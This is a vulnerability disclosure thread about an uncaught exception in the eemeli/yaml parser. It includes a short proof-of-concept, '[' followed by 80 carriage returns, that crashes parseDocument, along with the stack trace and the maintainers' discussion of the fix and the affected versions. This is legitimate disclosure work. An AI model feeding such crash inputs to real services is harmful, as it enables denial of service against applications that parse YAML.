Uncaught exception in document parsing functions in eemeli/yaml

Valid

Reported on

Apr 22nd 2023


Description

The parseDocument and parseAllDocuments functions should never throw according to the documentation. However, when these functions are fed an invalid input with a lot (≥80) of carriage return characters (\r), an exception is thrown, which originates in the prettifyError function.

Proof of Concept

// reproduce.js
const yaml = require("yaml");
const string = "[" + "\r".repeat(80);
yaml.parseDocument(string);
$ yarn node reproduce.js
yarn node v1.22.19
/home/nazar/src/yaml-bug/node_modules/yaml/dist/errors.js:54
        const pointer = ' '.repeat(ci) + '^'.repeat(count);
                                             ^

RangeError: Invalid count value
    at String.repeat (<anonymous>)
    at /home/nazar/src/yaml-bug/node_modules/yaml/dist/errors.js:54:46
    at Array.forEach (<anonymous>)
    at Object.parseDocument (/home/nazar/src/yaml-bug/node_modules/yaml/dist/public-api.js:54:20)
    at Object.<anonymous> (/home/nazar/src/yaml-bug/reproduce.js:3:6)
    at Module._compile (node:internal/modules/cjs/loader:1254:14)
    at Module._extensions..js (node:internal/modules/cjs/loader:1308:10)
    at Module.load (node:internal/modules/cjs/loader:1117:32)
    at Module._load (node:internal/modules/cjs/loader:958:12)
    at Function.executeUserEntryPoint [as runMain] (node:internal/modules/run_main:81:12)

Node.js v18.14.2

Impact

Code that parses user-supplied YAML input and relies on parseDocument and parseAllDocuments never throwing is vulnerable to denial of service attacks.

We are processing your report and will contact the eemeli/yaml team within 24 hours. 10 months ago
We have contacted a member of the eemeli/yaml team and are waiting to hear back 10 months ago
Eemeli Aro
10 months ago

Maintainer


Yup, that looks like a bug, amusingly enough in code that's prettifying errors.

Eemeli Aro
10 months ago

Maintainer


Fixed in yaml@2.2.2.

Eemeli Aro validated this vulnerability 10 months ago
kharacternyk has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Eemeli Aro marked this as fixed in 2.2.2 with commit 984f57 10 months ago
Eemeli Aro has been awarded the fix bounty
This vulnerability has now been published 10 months ago
Eemeli Aro
10 months ago

Maintainer


@admin How can I mark it so that the affected version range has a minimum of 2.0.0-5?

Conrad Buck
10 months ago

yaml@1.x is used in babel-plugin-macros which is used in create-react-app. That is to say that a LOT of people are currently seeing a false positive because the bug did not exist in 1.x! I've seen 10 - 15 people come and take interest in this supposedly high severity security issue in a tool they trust, and I have to tell them to go away because the whole thing is a big misunderstanding. Please fix! Here are the materials that confirm when the bug was introduced:

Incidentally the first affected version was 2.0.0-4 not 2.0.0-5:

https://www.npmjs.com/package/yaml/v/2.0.0-4?activeTab=code https://github.com/eemeli/yaml/commit/59398d2d4e3d8c33a8131a04c34c17f518d0bd70

Ben Harvie
10 months ago

Admin


I have updated the affected version as requested, on platform and for the CVE.

Eemeli Aro
10 months ago

Maintainer


@admin @benharvie Please fix the affected range as I requested earlier to have a minimum of 2.0.0-5, and a maximum of 2.2.1. Versions before 2.0.0-5 are not affected. GitHub for instance has this right: https://github.com/advisories/GHSA-f9xv-q969-pqx4

The specific change that originally introduced the problem was this: https://github.com/eemeli/yaml/commit/89119eeec4a305d741b26d1a49ffa1ac67394a8e#diff-55db69e02ff5714d444d8081ec6ecac5d9833fb29fda64d1e829e5766434fdc0R97

Conrad Buck
10 months ago

@eemli I beg to disagree. My previous link didn't work right, so here's a better link to the issue present in the code inside the npm package for 2.0.0-4: https://unpkg.com/browse/yaml@2.0.0-4/dist/errors.js

Conrad Buck
10 months ago

Oh I see, you're pointing to a different commit than I was looking at. I still don't understand exactly what caused the bug I guess...

Eemeli Aro
10 months ago

Maintainer


@conartist6 I invite you to experiment with the reproduction given above using different versions of yaml, and see the results for yourself.

to join this conversation